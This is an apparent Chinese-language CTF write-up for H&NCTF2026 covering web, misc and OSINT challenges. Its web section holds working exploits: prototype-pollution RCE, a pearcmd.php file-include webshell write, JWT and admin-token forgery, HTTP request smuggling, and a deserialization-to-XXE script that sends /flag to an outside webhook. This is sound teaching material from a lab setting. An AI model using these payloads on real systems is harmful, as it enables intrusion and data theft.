Loading

H&NCTF2026

web

签到

扫描目录能看到upload目录,抓包发现文件上传出现PHP_SESSION_UPLOAD_PROGRESS字段,于是利用该上传写入一句话木马进入当前session文件里,再去include这个session文件,因为这个php的上传进度是临时的,上传完成后就会把session里的upload progress数据清掉,所以要在内容没被清理掉的瞬间去请求包含session文件

image

image

image

prototype-preview

扫描目录,访问/source得到源码提示

image

#开发者备注:用户输入都会被转义,所以模板应该是安全的。

function deepMerge(target, source) {
  for (const key in source) {
    const value = source[key];

    if (value && typeof value === "object" && !Array.isArray(value)) {
      if (!target[key]) target[key] = {};
      deepMerge(target[key], value);
    } else {
      target[key] = value;
    }
  }
}

function renderTemplate(template, locals, options = {}) {
  const escapeFunction = options.escapeFunction || "escapeHtml";
  const body = "const out = [];\n" +
    "const escape = " + escapeFunction + ";\n" +
    "...";
  return new Function("locals", "escapeHtml", "resolvePath", "require", body)(
    locals,
    escapeHtml,
    resolvePath,
    require
  );
}

这是典型Prototype Pollution + 模板代码注入RCE,用户可以发送可控JSON,而deepMerge没有过滤__proto__/constructor/prototype,可以污染 Object.prototype,普通对象即使自己没有escapeFunction,也可能从原型链上读到options.escapeFunction,再拼接进new Function()从而达到rce
Payload:

{
  "__proto__": {
    "escapeFunction":
      "escapeHtml;return require(\"child_process\").execSync(\"pwd; ls -la /; ls -la /app; env\").toString();//"
  },
  "nickname":"guest",
  "intro":"I like clean templates.",
  "theme":{
    "color":"#2563eb"
  }
}

image

image

include

测试发现题目参数是file,后端会把file当模板路径加载,只接受php后缀文件,确实在进行文件包含并且根目录是/var/www/html,但是有一定的过滤拦了..和伪协议

image

发现使用绝对路径/var/www/html/pages/home.php可以正常显示主页,使用/?file=pages/home.php&file=/var/www/html/index.php出现了嵌套的现象,同时报错信息还泄露include_path='.:/usr/local/lib/php',于是想到pearcmd.php,它是PHP PEAR包管理器的命令行入口文件,利用包含系统自带的pearcmd.php,再利用PEAR的命令参数写文件
payload:

/?file=pearcmd.php&+config-create+/<?=phpinfo();?>+/var/www/html/b.php

&前面的命令:
假设源码大概是:
<?php
include($_GET['file']);
?>
那么请求进入PHP后$_GET['file']='pearcmd.php';
于是服务端执行include('pearcmd.php');
又因为报错泄露include_path='.:/usr/local/lib/php'
所以PHP会在/usr/local/lib/php里找到/usr/local/lib/php/pearcmd.php
最终把pearcmd.php包含进来执行。

&后面的命令:
等价于config-create /<?=phpinfo();?> /var/www/html/b.php
+当作空格解析,利用PEAR的config-create功能生成配置文件,将包含PHP代码的路径参数写入配置文件内容
并把该配置文件保存为根目录下的p.php,由于p.php会被PHP解析,文件中的<?=phpinfo();?>被执行从而显示phpinfo页面

注意浏览器自动URL编码导致PHP标签没有原样写入,在bp中输入payload在发包

image

image

oooa

前端暴露未鉴权接口/api/v2/workflow/pending-approval/snapshot直接泄露两枚可用的JWT

image

对应的账号是

0007 / intern.lin / role=intern
0012 / staff.chen / role=employee

存在明显的越权问题,泄露的jwt访问/api/v2/identity/profile/self验证token的有效性

set TOKEN=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIwMDA3IiwidXNlcm5hbWUiOiJpbnRlcm4ubGluIiwicm9sZSI6ImludGVybiIsImRlcHQiOiLnu7zlkIjnrqHnkIbpg6giLCJwdXJwb3NlIjoid29ya2Zsb3ctYXBwbHktY2FjaGUiLCJpYXQiOjE3ODEwOTQxMzAyMzR9.ZVgUCaWvoQfsrP_nDhch3wZ7bCJ9KJ6-hlrHJDPf81A

curl -s -H "Authorization: Bearer %TOKEN%" "http://114.66.24.210:32015/api/v2/identity/profile/self"

接着分析前端JS,可以定位到POST /api/v2/portal/context/refresh-sync,该接口接收一个userRef参数,而userRef并不是明文userId,而是前端使用固定AES-CBC进行加密后的结果,前端里可以恢复出加密参数

image

image

key = ManBaOaPortalKey
iv  = PortalRefresh01!
algo = aes-128-cbc

根据泄露JWT可知系统通过数字id作为身份标识,尝试将目标userId设为0001,将其按前端AES-CBC逻辑加密后提交至refresh-sync接口返回role=admin,从而确认0001为管理员账号

from base64 import b64encode
from Crypto.Cipher import AES

def pad(data: bytes) -> bytes:
    n = 16 - len(data) % 16
    return data + bytes([n]) * n

key = b"ManBaOaPortalKey"
iv = b"PortalRefresh01!"
plaintext = b"0001"

cipher = AES.new(key, AES.MODE_CBC, iv)
ciphertext = cipher.encrypt(pad(plaintext))
print(b64encode(ciphertext).decode())

#r8Z3xPBHo1pxxIU/J3fBzA==
curl -s -X POST "http://114.66.24.210:43543/api/v2/portal/context/refresh-sync" -H "Authorization: Bearer %TOKEN%" -H "Content-Type: application/json" --data-raw "{\"userRef\":\"r8Z3xPBHo1pxxIU/J3fBzA==\"}"

image

得到admin的token,设置admin的token

set ADMIN=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIwMDAxIiwidXNlcm5hbWUiOiJvcHMtYWRtaW4iLCJyb2xlIjoiYWRtaW4iLCJkZXB0Ijoi5bmz5Y-w5rK755CG5Lit5b-DIiwicHVycG9zZSI6InBvcnRhbC1jb250ZXh0LXJlZnJlc2giLCJpYXQiOjE3ODEwOTQxOTczMjl9.vhAfohffP4kECu6Zv65EUP0XBDKlWEDHTJdBq_j3uOI

发现前端runDiagnostic会将用户的可控参数封装为cmd并提交到/v2/platform/runtime/diagnostic-task,而发送{“cmd":"id"}回显结果存在rce

image

image

寻找flag位置,尝试flag的常规位置并不存在,于是查看进程和服务编排可以发现有mongod、日志文件位置还有/var/run/mongodb/.portal-cache-primer这些很可疑的东西

image

开始围绕可疑服务查找,最后在mongod的日志文件中找到flag

image

偷偷送你个shell

首页直接访问shell.php被前置拦截,尝试CL.TE请求走私绕过前置legacy-edge,将/shell.php藏到前置和后端解析不一致的请求里,前置按Content-Length读,请求后端时后端按Transfer-Encoding: chunked读,所以可以构造一个POST /,表面上是普通首页请求,实际在chunk结束后夹带第二个请求

import socket

host = "114.66.24.210"
port = 42581
vhost = "114.66.24.210:42581"

req1 = (
    "POST / HTTP/1.1\r\n"
    f"Host: {vhost}\r\n"
    "Connection: keep-alive\r\n"
    "Content-Type: application/x-www-form-urlencoded\r\n"
    "Content-Length: 59\r\n"
    "Transfer-Encoding: chunked\r\n"
    "\r\n"
    "0\r\n\r\n"
    "GET /shell.php HTTP/1.1\r\n"
    f"Host: {vhost}\r\n"
    "\r\n"
)

req2 = (
    "GET / HTTP/1.1\r\n"
    f"Host: {vhost}\r\n"
    "Connection: close\r\n"
    "\r\n"
)

def recv_some(sock):
    sock.settimeout(1.2)
    data = b""
    while True:
        try:
            chunk = sock.recv(4096)
            if not chunk:
                break
            data += chunk
        except socket.timeout:
            break
    return data

s = socket.create_connection((host, port), timeout=5)
s.sendall(req1.encode())
print(recv_some(s).decode("utf-8", "replace"))
s.sendall(req2.encode())
print(recv_some(s).decode("utf-8", "replace"))
s.close()

使用脚本成功访问shell.php得到反序列化链子和一个假flag,分析链子

<?php

if (!isset($_GET['data'])) {
    highlight_file(__FILE__);
}

echo "这都被你发现了,那flag给你了:flag{This_is_a_true_flag???}";

error_reporting(0);

class Start {
    public $arg;

    public function __destruct() {
        echo $this->arg;       #1.脚本结束触发析构,输出对象时会触发__toString()
    }
}

class Middle {
    public $target;

    public function __toString() {
        $this->target->boom;   #2.访问不存在属性,触发Gate::__get()
        return "";
    }
}

class Gate {
    public $a;
    public $b;
    public $func;
    public $var;

    public function __get($name) {
        if ($this->a !== $this->b && !is_array($this->a) && !is_array($this->b) && md5($this->a) === md5($this->b)) { // 3. 通过碰撞条件后进入可控调用
            $f = $this->func;
            $v = $this->var;
            $f($v);            #4.核心利用点:$f$v可控,可设成函数执行命令
        }
    }
}

class Shell {
    public $cla;
    public $data;
    public $opt1;
    public $opt2;

    public function __invoke($data) {
        $this->data = $data;      #5.func作为Shell对象被当作可调用对象触发
        $this->run();
    }

    private function run() {
        $c = $this->cla;
        if (!is_string($c) || !is_string($this->data)) {
            return;
        }
        try {
            new $c($this->data, $this->opt1, $this->opt2);    #6.进一步实例化可控类
        } catch (Throwable $e) {
        }
    }
}

include_once dirname(__DIR__) . "/private/waf.php";
waf();

if (isset($_GET['data']) && is_string($_GET['data'])) {
    @unserialize($_GET['data']);    #反序列化入口
}

?>

然而直接把func设成system、readfile、file_get_contents一类会被waf.php拦掉并回显 Wrong Function,绝大多数危险类也会被拦成 Wrong Class,于是func将设成一个Shell对象,让Shell->__invoke()再去实例化允许的类,最后new SimpleXMLElement($xml_url, 6, true);,这里6对应LIBXML_NOENT | LIBXML_DTDLOAD
因为 file:// php:// data:// 这类协议在第一层会被拦成Wrong Protocol,所以不能直接SimpleXMLElement("php://filter/..."),但http:// https:// 是允许的,所以远程托管一个XML,XML再引用远程DTD读取/flag,通过外部实体把base64后的flag带到自己的webhook.site,然后把Shell->var设成这个XML的URL触发,靶机就会自己去请求XML再拉DTD,再把/flag的base64带到webhook
exp

import base64
import json
import socket
import time
import urllib.parse
import urllib.request
from pathlib import Path

TARGET_HOST = "114.66.24.210"
TARGET_PORT = 25865

WEBHOOK_TOKEN = "e1452a0a-d25a-4a74-b547-7b30abb015e2"
WEBHOOK_URL = f"https://webhook.site/{WEBHOOK_TOKEN}"

# 这两组是经典 MD5 强碰撞块
MD5_COLLISION_1 = (
    "d131dd02c5e6eec4693d9a0698aff95c2fcab58712467eab4004583eb8fb7f89"
    "55ad340609f4b30283e488832571415a085125e8f7cdc99fd91dbdf280373c5b"
    "d8823e3156348f5bae6dacd436c919c6dd53e2b487da03fd02396306d248cda0"
    "e99f33420f577ee8ce54b67080a80d1ec69821bcb6a8839396f9652b6ff72a70"
)

MD5_COLLISION_2 = (
    "d131dd02c5e6eec4693d9a0698aff95c2fcab50712467eab4004583eb8fb7f89"
    "55ad340609f4b30283e4888325f1415a085125e8f7cdc99fd91dbd7280373c5b"
    "d8823e3156348f5bae6dacd436c919c6dd53e23487da03fd02396306d248cda0"
    "e99f33420f577ee8ce54b67080280d1ec69821bcb6a8839396f965ab6ff72a70"
)

WORKDIR = Path.cwd()


def http_json(method, url, data=None):
    req = urllib.request.Request(url, data=data, method=method)
    req.add_header("Accept", "application/json")
    if data is not None:
        req.add_header("Content-Type", "application/json")
    with urllib.request.urlopen(req, timeout=20) as resp:
        return json.loads(resp.read().decode())


def list_webhook_requests(token):
    return http_json("GET", f"https://webhook.site/token/{token}/requests")


def upload_paste(text):
    req = urllib.request.Request(
        "https://paste.rs/",
        data=text.encode(),
        method="POST",
        headers={"Content-Type": "text/plain"},
    )
    with urllib.request.urlopen(req, timeout=20) as resp:
        return resp.read().decode().strip()


def php_string_from_bytes(hexstr: str) -> str:
    b = bytes.fromhex(hexstr)
    return f's:{len(b)}:"{b.decode("latin1")}";'


def build_dtd():
    return (
        '<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">\n'
        f'<!ENTITY % all "<!ENTITY send SYSTEM \'{WEBHOOK_URL}?x=%file;\'>">\n'
        "%all;\n"
    )


def build_xml(dtd_url):
    return f'<!DOCTYPE r SYSTEM "{dtd_url}">\n<r>&send;</r>\n'


def build_payload(xml_url):
    a = php_string_from_bytes(MD5_COLLISION_1)
    b = php_string_from_bytes(MD5_COLLISION_2)

    shell_obj = (
        'O:5:"Shell":4:{'
        's:3:"cla";s:16:"SimpleXMLElement";'
        's:4:"data";N;'
        's:4:"opt1";i:6;'
        's:4:"opt2";b:1;'
        "}"
    )

    payload = (
        'O:5:"Start":1:{'
        's:3:"arg";'
        'O:6:"Middle":1:{'
        's:6:"target";'
        'O:4:"Gate":4:{'
        f's:1:"a";{a}'
        f's:1:"b";{b}'
        f's:4:"func";{shell_obj}'
        f's:3:"var";s:{len(xml_url)}:"{xml_url}";'
        "}"
        "}"
        "}"
    )
    return payload


def build_smuggle_requests(path):
    # 注意:这里 path 必须是 /shell.php?data=... 这种 GET 路径
    body = f"0\r\n\r\nGET {path} HTTP/1.1\r\nHost: {TARGET_HOST}:{TARGET_PORT}\r\n\r\n"

    req1 = (
        f"POST / HTTP/1.1\r\n"
        f"Host: {TARGET_HOST}:{TARGET_PORT}\r\n"
        f"Content-Length: {len(body)}\r\n"
        f"Transfer-Encoding: chunked\r\n"
        f"Connection: keep-alive\r\n"
        f"\r\n"
        f"{body}"
    )

    req2 = (
        f"GET / HTTP/1.1\r\n"
        f"Host: {TARGET_HOST}:{TARGET_PORT}\r\n"
        f"Connection: close\r\n"
        f"\r\n"
    )

    return req1, req2


def smuggle_send(req1, req2):
    sock = socket.create_connection((TARGET_HOST, TARGET_PORT), timeout=10)
    sock.sendall(req1.encode("ascii"))
    time.sleep(0.2)

    try:
        sock.sendall(req2.encode("ascii"))
    except OSError:
        pass

    resp = b""
    try:
        while True:
            chunk = sock.recv(65535)
            if not chunk:
                break
            resp += chunk
    except OSError:
        pass
    finally:
        sock.close()

    return resp.decode("latin1", "replace")


def save_file(name, content):
    path = WORKDIR / name
    path.write_text(content, encoding="utf-8", newline="\n")
    return path


def extract_flag_from_webhook():
    data = list_webhook_requests(WEBHOOK_TOKEN)["data"]
    for item in data:
        query = item.get("query", {})
        x = query.get("x")
        if x:
            if isinstance(x, list):
                x = x[0]
            try:
                flag = base64.b64decode(x).decode()
                if "flag{" in flag:
                    return flag
            except Exception:
                pass
    return None


def main():
    print("=" * 60)
    print("[1] 生成 DTD 并上传")
    print("=" * 60)
    dtd = build_dtd()
    dtd_path = save_file("xxe.dtd", dtd)
    print(f"[+] 已写入: {dtd_path}")

    dtd_url = upload_paste(dtd)
    print(f"[+] DTD_URL: {dtd_url}")

    print("=" * 60)
    print("[2] 生成 XML 并上传")
    print("=" * 60)
    xml = build_xml(dtd_url)
    xml_path = save_file("xxe.xml", xml)
    print(f"[+] 已写入: {xml_path}")

    xml_url = upload_paste(xml)
    print(f"[+] XML_URL: {xml_url}")

    print("=" * 60)
    print("[3] 生成最终反序列化 payload")
    print("=" * 60)
    payload = build_payload(xml_url)
    payload_path = save_file("payload.txt", payload)
    print(f"[+] 已写入: {payload_path}")
    print(f"[+] payload 长度: {len(payload)}")

    encoded = urllib.parse.quote_from_bytes(payload.encode("latin1"), safe="")
    path = f"/shell.php?data={encoded}"

    print("=" * 60)
    print("[4] 生成 Burp / 手工用的原始请求")
    print("=" * 60)
    req1, req2 = build_smuggle_requests(path)
    req1_path = save_file("smuggle_req1.txt", req1)
    req2_path = save_file("smuggle_req2.txt", req2)
    print(f"[+] 已写入: {req1_path}")
    print(f"[+] 已写入: {req2_path}")

    print("=" * 60)
    print("[5] 自动打一遍")
    print("=" * 60)
    resp = smuggle_send(req1, req2)
    resp_path = save_file("last_response.txt", resp)
    print(f"[+] 响应已保存到: {resp_path}")

    print("=" * 60)
    print("[6] 等 3 秒后去 webhook 拉结果")
    print("=" * 60)
    time.sleep(3)
    flag = extract_flag_from_webhook()
    if flag:
        print(f"[+] FLAG: {flag}")
    else:
        print("[-] 还没在 webhook 里拿到 flag,请手动打开 webhook.site 页面看看。")


if __name__ == "__main__":
    main()

image

image

misc

签到

文章留言得到密文base64解密

image

[MC]寻找牢大

找牢大打牢大就对了

image

雪中刀盾

图片末尾存在隐藏数据,明显看到二进制数字和后面的压缩包数据

image

二进制转ascii字符得到解码字符集

image

手动提取后面的压缩包数据,反转文件头为50 4B 03 04

image

解压压缩包得到002.txt,打开文件可以看到很多空白在根据题意可能是snow隐写

image

结合图片中显示的提示ilovectf和key.txt中的xor:66666666,两者字符串异或得到隐写密钥为_ZY@SUBP,解密得到密文结合解码集

image

image

最后脚本解密

import base64
cipher = "N2UJLwMBZuMpWyYaXv5qYw9uWe1ySyIpWt4cDSv="
custom_table = "01234ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz56789+/"
standard_table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
# 自定义Base64 -> 标准Base64
trans = str.maketrans(custom_table, standard_table)
std_b64 = cipher.translate(trans)
# 补齐padding
std_b64 += "=" * ((4 - len(std_b64) % 4) % 4)
print("[+] Standard Base64:", std_b64)
flag = base64.b64decode(std_b64)
print("[+] Raw Bytes:", flag)
print("[+] Decode:", flag.decode(errors="ignore"))

#H&NCTF{4now_sNow_sn0w_sno!!!}

星夜回声档案

下载附件首先随波修复伪加密,解压得到题目文件为cosmic_archive.dat,查看文件末尾发现存在反向存储的数据,将末尾内容倒序后可以得到 Base64 编码内容,解码后得到归档目录信息

image

可以看出文件中藏有 hint、ppm、wav,分别使用rot13、reverse、xor 0x23处理,根据目录中的 offset、size 和 method 提取三个文件

import base64, json, codecs

data = open("cosmic_archive.dat", "rb").read()
tail = data[-512:]
rev_tail = tail[::-1]

for i in range(len(rev_tail)):
    try:
        raw = base64.b64decode(rev_tail[i:], validate=False)
        if b'"hint"' in raw and b'"ppm"' in raw and b'"wav"' in raw:
            meta = json.loads(raw.decode())
            break
    except Exception:
        pass

hint_info = meta["hint"]
hint_enc = data[hint_info["offset"]:hint_info["offset"] + hint_info["size"]]
hint = codecs.decode(hint_enc.decode(), "rot_13")
open("hint.txt", "w", encoding="utf-8").write(hint)

ppm_info = meta["ppm"]
ppm_enc = data[ppm_info["offset"]:ppm_info["offset"] + ppm_info["size"]]
open("star_map.ppm", "wb").write(ppm_enc[::-1])

wav_info = meta["wav"]
wav_enc = data[wav_info["offset"]:wav_info["offset"] + wav_info["size"]]
wav = bytes([b ^ wav_info["key"] for b in wav_enc])
open("echo.wav", "wb").write(wav)

分析hint.txt,rot13解密后的hint.txt提示sky对应星图,brightest points表示取最亮点,route表示星图中隐藏路线/参数,echo repeats表示音频中存在重复结构,false note表示异常点藏有信息

The sky does not hide words in plain sight.
Only the brightest points remember the route.
The echo is honest because it repeats.
A false note is louder than a true one.

分析star_map.ppm,将star_map.ppm转成PNG后观察为星空图。根据提示只取最亮星点,选择亮度大于等于240的像素,并从RGB低位提取隐藏比特

from PIL import Image

img = Image.open("star_map.ppm").convert("RGB")
bits = []
for y in range(img.height):
    for x in range(img.width):
        r, g, b = img.getpixel((x, y))
        if max(r, g, b) >= 240:
            bits.extend([r & 1, g & 1, b & 1])

out = bytearray()
for i in range(0, len(bits), 8):
    byte = bits[i:i+8]
    if len(byte) < 8:
        break
    val = 0
    for bit in byte:
        val = (val << 1) | bit
    out.append(val)
print(out.decode(errors="ignore"))

得到内容part1=flag{F4k3_Zip_St4rs_;rhythm=Yzg6MmE=,其中part1是前半段flag,rhythm参数Base64解码为c8:2a,即间隔interval=0xC8=200、密钥xor_key=0x2A
分析echo.wav,根据星图得到的interval和key,从偏移137开始每隔200个采样点取一次异常值并与0x2A异或

import wave

interval = 0xC8
key = 0x2A
start = 137

with wave.open("echo.wav", "rb") as wf:
    frames = wf.readframes(wf.getnframes())

res = []

for i in range(start, len(frames), interval):
    ch = frames[i] ^ key
    if 32 <= ch <= 126:
        res.append(chr(ch))
        if chr(ch) == "}":
            break

print("".join(res))

得到后半段 And_C0sm1c_Ech0},拼接flag得到最终答案
flag{F4k3_Zip_St4rs_And_C0sm1c_Ech0}

pnumber穿越小记

题目给出Windows可执行文件自传.exe,先进行基础静态分析

image

字符串中可以看到argon2id、aes256gcm、8byte_window等信息,并出现类似flag的字符串flag{argon2id_aes256gcm_8byte_window},但该字符串提交错误,继续分析可见提示A lightweight debugger check diverts execution into a fake branch.,说明程序存在反调试逻辑,会把分析者引导到假分支,因此前面的flag是诱饵
用010搜索文件头并strings关键文件后缀,发现exe文件中还是存在其他常见文件,用foremost提取内嵌资源,提取后得到jpg、png、zip等文件,其中zip需要密码

image

foremost 自传.exe

对图片进行分析没有得到什么有效信息,exe中理应存在一个音频文件但是foremost没有提取出来,使用脚本提取

from pathlib import Path

exe_path = "自传.exe"
data = Path(exe_path).read_bytes()

name = b"music/123_concat_key_playable.mp3"
start = data.find(name)

if start == -1:
    print("not found")
    exit()

start = start + len(name)

# 下一个资源名,作为 mp3 结束位置
end = data.find(b"protected.png", start)

mp3_data = data[start:end]

Path("123_concat_key_playable.mp3").write_bytes(mp3_data)

print("saved 123_concat_key_playable.mp3")
print("size:", len(mp3_data))

在音频末尾可以看到明显摩斯码特征,将长短信号转为摩斯码后得到zip密码提示:KEY:ASD79DA12EDBQW78,使用该密码解压zip

image

image

查看js.txt即可得到最终flag

image

base玩明白了

文件给了beautiful00txt64key.txt和一个加密的zip,分析图片发现末尾存在多余字节00c46540cc76b79b结合提示big5和图片文件名,先将00后面的字节解码成中文文本,再用big5编码回字节最后base64,得到正确密码46ZA90za2w==

import base64
# 原始十六进制数据
hex_data = "c46540cc76b79b"

# 1. hex 转 bytes
raw = bytes.fromhex(hex_data)
# 2. 按 GB18030 解码
text = raw.decode("gb18030")
# 3. 把解出来的文本再按 Big5 编码
big5_bytes = text.encode("big5")
# 4. Base64 编码
pwd = base64.b64encode(big5_bytes).decode()
print("[+] Base64 结果:", pwd)

扫描二维码得到一串密文c3PKPIMc09gpvNaLzzxqN8INOPDePTBFVjQfQEjVtYp5isZO37ZWWcvTXcyeqAEWJ,其中包含的字符a-zA-Z0-9所以这不是base64,再结合提示ISCC misc3“扭曲的真相”最后一步的思路是要用自定义Base62字母表处理,所以这里使用base62字符表a-z0-9A-Z再base64解码得到flag

image

image

X1aoyu的文件

对exe文件进行静态分析,依旧找到了一个假flag

image

发现程序从偏移0输出出现jpg文件头,每次偏移出现8字节一直到0x33608

image

使用脚本提取出图片

import argparse
import re
import subprocess
from pathlib import Path

END_OFFSET = 0x33608
LINE_RE = re.compile(
    rb"^8b> \[([0-9A-F]{8})\.\.([0-9A-F]{8})\) ((?:[0-9A-F]{2} ?)+)\|",
    re.M,
)

def dump_output(exe: Path, step: int, timeout: int) -> bytes:
    commands = ["restart", *(f"g {i}" for i in range(0, END_OFFSET + 1, step)), "q"]
    proc = subprocess.Popen(
        [str(exe)],
        stdin=subprocess.PIPE,
        stdout=subprocess.PIPE,
        stderr=subprocess.STDOUT,
    )
    output, _ = proc.communicate(("\n".join(commands) + "\n").encode(), timeout=timeout)
    if proc.returncode:
        print("warning: target exited with code", proc.returncode)
    return output


def extract_jpeg(output: bytes) -> bytes:
    data = bytearray()
    last_start = -1

    for match in LINE_RE.finditer(output):
        start = int(match.group(1), 16)
        end = int(match.group(2), 16)
        chunk = bytes(int(part, 16) for part in match.group(3).split())

        if start < last_start:
            break
        if end - start != len(chunk):
            raise ValueError(
                f"chunk length mismatch at 0x{start:08X}: "
                f"expected {end - start}, got {len(chunk)}"
            )

        data.extend(chunk)
        last_start = start

    if not data:
        raise ValueError("no image-like hex blocks were parsed from program output")

    if data[:8] == data[8:16]:
        data = data[8:]
    if not data.startswith(b"\xFF\xD8"):
        raise ValueError("output does not start with a JPEG SOI marker")
    if not data.endswith(b"\xFF\xD9"):
        if data.endswith(b"\xFF"):
            data += b"\xD9"
        else:
            data += b"\xFF\xD9"
    return bytes(data)

def main() -> None:
    parser = argparse.ArgumentParser(
        description="Extract the hidden JPEG dumped by date.exe-like challenge binaries."
    )
    parser.add_argument("exe", help="path to the target executable")
    parser.add_argument(
        "-o",
        "--output",
        default="extracted.jpg",
        help="output JPEG path (default: extracted.jpg)",
    )
    parser.add_argument(
        "--step",
        type=int,
        default=8,
        help="offset step size (default: 8)",
    )
    parser.add_argument(
        "--timeout",
        type=int,
        default=120,
        help="subprocess timeout in seconds (default: 120)",
    )
    args = parser.parse_args()

    exe_path = Path(args.exe).expanduser().resolve()
    output_path = Path(args.output).expanduser().resolve()

    output = dump_output(exe_path, args.step, args.timeout)
    image = extract_jpeg(output)
    output_path.write_bytes(image)
    print(f"wrote {len(image)} bytes to {output_path}")

if __name__ == "__main__":
    main()

image

jpg图片隐写,jphs空密码seek提取隐藏信息

image

最后得到的是压缩包文件,修改后缀解压得到flag,提交修改flag头

H&NCTF{056gc_65fyiyguy_8978tnjg_jhjgvhfr}

OSINT

OSINT1

image

图片中可以看到对面有很明显的店名“海蓝星”,高德店名搜索得到H&NCTF{辽宁省_沈阳市_七星大街_蒲达路}

image

OSINT2

image

根据图片中的云的气象可以搜索在小红书抖音等社交平台搜索到这是火箭云长征六号甲且可以知道发生在山西省太原市,在根据flag的格式H&NCTF{省_市_县_*园_¥¥¥号¥},固定在了县于是开始搜索太原的县城并注意到远处高楼的避雷针和旁边的路灯,再加上在有园字的地方,百度全景锁定到位置

image

H&CTF{山西省_太原市_清徐县_东湖公园_长征六号甲}
posted @ 2026-06-11 18:38  lxrhe  阅读(18)  评论(0)    收藏  举报